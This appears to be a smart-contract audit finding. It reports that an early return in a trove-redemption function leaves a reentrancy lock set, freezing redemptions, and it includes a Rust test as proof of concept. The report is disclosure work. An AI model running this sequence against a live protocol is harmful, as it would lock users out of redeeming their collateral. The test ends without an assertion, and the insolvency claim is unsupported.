There is a path in "internal_redeem_collateral_from_trove" function that leads to an early return statement without resetting the reentrancy lock.
This causes the contract to remain permanently locked, effectively freezing the redemption functionality
Details & Impact
The function internal_redeem_collateral_from_trove uses a storage boolean ( lock_internal_redeem_collateral_from_trove ) to prevent reentrancy attacks. The intended pattern is:
At the start of the function, set the lock to true.
Execute the redemption logic.
At the end of the function, set the lock back to false.
This ensures that if the function reverts or completes normally, the lock is reset, and subsequent calls are not blocked.
within this function, there is a conditional branch that can cause an early return before reaching the lock reset :
// ... calculations and checks above ...
if (new_debt < MIN_NET_DEBT) {
single_redemption_values.cancelled_partial = true;
return single_redemption_values;
}
// ... rest of the function that eventually resets the lock ...
In this scenario, if new_debt < MIN_NET_DEBT, the function returns early
never reaching the code that set storage.lock_internal_redeem_collateral_from_trove back to false
As a result, the lock remains permanently engaged. Once locked, no subsequent calls that require this lock to be false can proceed, effectively breaking the redemption functionality
Causing a Critical Protocol insolvency
PoC in "trove-manager-contract/tests/failure.rs"
Proof of Concept
#[tokio::test]
async fn fails_with_stuck_redemption_lock() {
let (contracts, _admin, mut wallets) = setup_protocol(5, false, false).await;
oracle_abi::set_debug_timestamp(&contracts.asset_contracts[0].oracle, PYTH_TIMESTAMP).await;
pyth_oracle_abi::update_price_feeds(
&contracts.asset_contracts[0].mock_pyth_oracle,
pyth_price_feed(10),
)
.await;
let wallet1 = wallets.pop().unwrap();
let wallet2 = wallets.pop().unwrap();
// Setup initial balances
let balance = 25_000 * PRECISION;
token_abi::mint_to_id(
&contracts.asset_contracts[0].asset,
balance,
Identity::Address(wallet1.address().into()),
)
.await;
token_abi::mint_to_id(
&contracts.asset_contracts[0].asset,
balance,
Identity::Address(wallet2.address().into()),
)
.await;
// Create troves
let borrow_operations_wallet1 = ContractInstance::new(
BorrowOperations::new(
contracts.borrow_operations.contract.contract_id().clone(),
wallet1.clone(),
),
contracts.borrow_operations.implementation_id.clone(),
);
let borrow_operations_wallet2 = ContractInstance::new(
BorrowOperations::new(
contracts.borrow_operations.contract.contract_id().clone(),
wallet2.clone(),
),
contracts.borrow_operations.implementation_id.clone(),
);
// first trove with debt that will be below MIN_NET_DEBT after partial redemption
borrow_operations_abi::open_trove(
&borrow_operations_wallet1,
&contracts.asset_contracts[0].oracle,
&contracts.asset_contracts[0].mock_pyth_oracle,
&contracts.asset_contracts[0].mock_redstone_oracle,
&contracts.asset_contracts[0].asset,
&contracts.usdf,
&contracts.fpt_staking,
&contracts.sorted_troves,
&contracts.asset_contracts[0].trove_manager,
&contracts.active_pool,
1_100 * PRECISION,
1_000 * PRECISION, // Initial debt
Identity::Address(Address::zeroed()),
Identity::Address(Address::zeroed()),
)
.await
.unwrap();
// second trove with normal amounts
borrow_operations_abi::open_trove(
&borrow_operations_wallet2,
&contracts.asset_contracts[0].oracle,
&contracts.asset_contracts[0].mock_pyth_oracle,
&contracts.asset_contracts[0].mock_redstone_oracle,
&contracts.asset_contracts[0].asset,
&contracts.usdf,
&contracts.fpt_staking,
&contracts.sorted_troves,
&contracts.asset_contracts[0].trove_manager,
&contracts.active_pool,
5_000 * PRECISION,
2_000 * PRECISION,
Identity::Address(Address::zeroed()),
Identity::Address(Address::zeroed()),
)
.await
.unwrap();
let protocol_manager_wallet1 = ContractInstance::new(
ProtocolManager::new(
contracts.protocol_manager.contract.contract_id().clone(),
wallet1.clone(),
),
contracts.protocol_manager.implementation_id.clone(),
);
let protocol_manager_wallet2 = ContractInstance::new(
ProtocolManager::new(
contracts.protocol_manager.contract.contract_id().clone(),
wallet2.clone(),
),
contracts.protocol_manager.implementation_id.clone(),
);
// First redemption - this should trigger the early return without resetting the lock
let _result = protocol_manager_abi::redeem_collateral(
&protocol_manager_wallet1,
900 * PRECISION, // Amount that would leave debt below MIN_NET_DEBT
1, // max_iterations
0, // partial_redemption_hint
Some(Identity::Address(Address::zeroed())),
Some(Identity::Address(Address::zeroed())),
&contracts.usdf,
&contracts.fpt_staking,
&contracts.coll_surplus_pool,
&contracts.default_pool,
&contracts.active_pool,
&contracts.sorted_troves,
&contracts.asset_contracts,
)
.await;
// Second redemption - this should fail due to the stuck lock
let result = protocol_manager_abi::redeem_collateral(
&protocol_manager_wallet2,
1_000 * PRECISION, // Normal redemption amount
1, // max_iterations
0, // partial_redemption_hint
Some(Identity::Address(Address::zeroed())),
Some(Identity::Address(Address::zeroed())),
&contracts.usdf,
&contracts.fpt_staking,
&contracts.coll_surplus_pool,
&contracts.default_pool,
&contracts.active_pool,
&contracts.sorted_troves,
&contracts.asset_contracts,
)
.await;
// The second redemption will fail with the lock error!
// ("Internal redeem collateral from trove is locked")
}
